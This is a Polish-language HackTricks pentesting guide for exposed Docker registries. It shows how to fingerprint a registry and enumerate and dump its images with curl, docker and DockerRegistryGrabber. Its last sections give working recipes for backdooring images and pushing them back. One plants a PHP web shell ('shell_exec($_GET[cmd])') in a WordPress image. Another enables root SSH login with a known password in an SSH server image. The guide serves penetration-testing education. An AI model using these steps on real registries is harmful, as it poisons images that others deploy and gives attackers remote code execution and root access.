hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md
2024-02-11 01:46:25 +00:00

14 KiB

5000 - Testowanie penetracyjne rejestru Docker

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Dla obrazów Docker, które mają nazwy i mogą mieć wiele wersji odróżnianych za pomocą tagów, istnieje system przechowywania i dystrybucji znany jako rejestr Docker. Te obrazy są zorganizowane w repozytoriach Docker w rejestrze, gdzie każde repozytorium przechowuje różne wersje konkretnego obrazu. Dostarczane funkcje umożliwiają pobieranie obrazów lokalnie lub przesyłanie ich do rejestru, pod warunkiem posiadania odpowiednich uprawnień przez użytkownika.

DockerHub służy jako domyślny publiczny rejestr dla Dockera, ale użytkownicy mają również możliwość korzystania z wersji lokalnej otwartoźródłowego rejestru/dystrybucji Dockera lub wyboru komercyjnie wspieranego Docker Trusted Registry. Dodatkowo, można znaleźć różne inne publiczne rejestry online.

Aby pobrać obraz z lokalnego rejestru, używa się następującej komendy:

docker pull my-registry:9000/foo/bar:2.1

Ten polecenie pobiera obraz foo/bar w wersji 2.1 z rejestru lokalnego na domenie my-registry na porcie 9000. W przypadku pobierania tego samego obrazu z DockerHub, zwłaszcza jeśli 2.1 jest najnowszą wersją, polecenie upraszcza się do:

docker pull foo/bar

Domyślny port: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Odkrywanie

Najprostszym sposobem na odkrycie działającej usługi jest znalezienie jej w wynikach skanowania nmap. Należy jednak zauważyć, że jako usługa oparta na protokole HTTP może być ukryta za proxy HTTP, które nie zostanie wykryte przez nmap.
Kilka odcisków:

  • Jeśli uzyskasz dostęp do /, w odpowiedzi nie zostanie zwrócony żaden wynik.
  • Jeśli uzyskasz dostęp do /v2/, zostanie zwrócone {}.
  • Jeśli uzyskasz dostęp do /v2/_catalog, możesz otrzymać:
  • {"repositories":["alpine","ubuntu"]}
  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Wyliczanie

HTTP/HTTPS

Rejestr Docker może być skonfigurowany do użycia protokołu HTTP lub HTTPS. Pierwszą rzeczą, którą musisz zrobić, jest znalezienie, który z nich jest skonfigurowany:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Autoryzacja

Rejestr Docker może być skonfigurowany w taki sposób, aby wymagał autoryzacji:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

Jeśli Docker Registry wymaga uwierzytelnienia, możesz spróbować je złamać, korzystając z tej metody. Jeśli znajdziesz poprawne dane uwierzytelniające, będziesz musiał ich użyć do wyliczenia rejestru. W curl możesz ich użyć w ten sposób:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Wyliczanie za pomocą DockerRegistryGrabber

DockerRegistryGrabber to narzędzie napisane w języku Python służące do wyliczania / wycieku rejestru Docker (bez autoryzacji lub z podstawową autoryzacją).

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888


python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Wyliczanie za pomocą curl

Gdy już uzyskasz dostęp do rejestru Docker, oto kilka poleceń, których możesz użyć do wyliczenia go:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

{% hint style="warning" %} Zauważ, że po pobraniu i rozpakowaniu plików i folderów bloby pojawią się w bieżącym katalogu. Jeśli pobierzesz wszystkie bloby i rozpakujesz je w tym samym folderze, nadpiszą wartości z wcześniej rozpakowanych blobów, więc bądź ostrożny. Może być interesujące rozpakować każdy blob w osobnym folderze, aby zbadać dokładną zawartość każdego bloba. {% endhint %}

Wyliczanie przy użyciu dockera

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Tworzenie backdoora dla obrazu WordPress

W przypadku, gdy znajdziesz Docker Registry zapisujący obraz WordPress, możesz go zainfekować.
Stwórz backdoor:

{% code title="shell.php" %}

<?php echo shell_exec($_GET["cmd"]); ?>

{% code title="Dockerfile" %}

Utwórz plik Dockerfile:

{% endcode %}

FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

{% endcode %}

Utwórz nowy obraz, sprawdź, czy został utworzony, i go wysyłaj:

docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it

Dodawanie tylnych drzwi do obrazu serwera SSH

Załóżmy, że znalazłeś Rejestr Docker z obrazem SSH i chcesz go zaopatrzyć w tylnie drzwi.
Pobierz obraz i go uruchom:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Wyciągnij plik sshd_config z obrazu SSH:

docker cp 4c989242c714:/etc/ssh/sshd_config .

I zmodyfikuj go, aby ustawić: PermitRootLogin yes

Utwórz Dockerfile o następującej zawartości:

{% tabs %} {% tab title="Dockerfile" %}

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

{% endtab %} {% endtabs %}

Utwórz nowy obraz, sprawdź, czy został utworzony, i go wypchnij:

docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: